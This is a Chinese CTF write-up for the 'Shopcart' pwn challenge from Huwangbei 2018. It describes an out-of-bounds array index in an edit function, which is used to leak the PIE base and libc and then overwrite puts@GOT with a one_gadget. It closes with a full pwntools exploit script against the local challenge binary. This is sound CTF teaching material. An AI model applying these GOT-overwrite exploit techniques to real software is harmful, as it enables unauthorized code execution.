-
-
[原创]护网杯 Shopcart writeup
-
2018-10-14 21:04
9446
-
额,护网杯在学习之余,打着玩看了下题,re不会,就只能看看pwn题了,又被大佬吊打,只搞出前两个,第一个就不说了,第二个发现大佬们用到了堆的解法,但是我自己做的时候没用堆, 所以分享下。
Checksec:
开了PIE,第一步肯定得泄露地址。
静态分析下:
程序一共有两个菜单,第一个菜单:
可以用的功能就是getmoney(这里我自己命名了下),没有删除,没有edit。这个函数的功能就是总共可以申请20个0x10大小的小块。小块的前8字节存储输入的地址,后8字节存的是9999,而每次输入是往一个全局变量数组里边输入8个字符,也就是8个字节。并将这个块的地址存储到全局的数组中(record)
然后看看第二个菜单:
功能齐全,添加,删除,编辑,样样都有。
先看添加:
也是有一个0x10大小的小块,来记录申请的块的地址,和一个数字,申请的size是我们自己定的,然后输入内容到大块,最后把小块记录到另外一个全局变量中。
然后是删除:
根据Index,先free大块,然后free记录大块的小块,并且填充为0.
UAF没希望咯。
再看看 编辑:
根据用户输入的索引v0,然后在提示信息中,二重指针解引用,打印record_chunk数组中一项存的小块中大块地址对应的内容(也就是打印大块的内容),然后再往里边修改内容。这里存在数组越界读取和修改。record_chunk往上是之前用到的一些全局数组,再往上是got表。
到这里思路就来了,只要用这个找到一个地方,指向的内容可以泄露程序内部的地址就行了,一开始我打印的got表libc_main中指向的内容,因为我调试看了,内容里边有个jmp xxxx指令,xxxx就是地址,结果会崩。不行。后来发现在0x202068处存有指向自己的指针,那就可以泄露地址了,泄露了后还得把那个地址回填进去,不然会崩。
根据edit的逻辑是解引用二重指针,然后往里边输入内容,只要我们找到一个地方存有指向got表的指针的话,就可以修改got表了。联想到之前第一个菜单中记录小chunk的全局数组record记录着指向另外一个全局数组money
并且根据edit的逻辑,如果索引为负值的话,就可以访问到record数组,并修改money数组的内容。修改其中一个money数组中的元素指向它相邻元素,并把它相邻元素的值改为put_got表的内容的话,就形成了指向got表指针的指针的了。
所以解题操作:
一、首先进入小菜单,正常的创建块,填充几个内容,我是全填满了。
二、index为-47,泄露地址并回填
三、通过edit 修改money[0]为money[1]的地址
四、通过edit修改money[1]的内容为puts_got表地址
五、通过越界到money[0],修改并泄露puts的地址,然后使用onegadget填充puts_got表项
下面是完整exp:
from pwn import *
context.log_level="debug"
def modify(index,content,flag=0):
p.recvuntil("buy!\n")
p.sendline("3")
p.recvuntil("y?\n")
p.sendline(str(index))
if flag==1:
#p.interactive()
p.recvuntil("modify ")
addr=u64(p.recv(6).ljust(8,'\0'))
return addr
else:
p.send(content)
libc=ELF("libc.so")
p=process('./shop')
for i in range(0x13):
p.recvuntil("man!\n")
p.sendline("1")
p.recvuntil("Dollar?\n")
p.sendline("aaa")
p.recvuntil("man!\n")
p.sendline("3")
p.recvuntil("buy!\n")
p.sendline("3")
p.recvuntil("y?\n")
raw_input()
p.sendline("-47")
p.recvuntil("modify ")
raw_input()
addr=u64(p.recv(6).ljust(8,'\0'))-0x202068
print"base:"+ hex(addr)
puts_got=0x202020+addr
print "puts_got:"+hex(puts_got)
p.sendline(p64(addr+0x202068))
modify(-0x14,p64(addr+0x2020a8),0)
#raw_input()
modify(-0x13,p64(puts_got),0)
puts_addr=modify(-0x28,"",1)
print "puts:"+hex(puts_addr)
p.send(p64(puts_addr-libc.symbols['puts']+0x45216))
p.interactive()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-10-14 21:44
被notwolf编辑
,原因: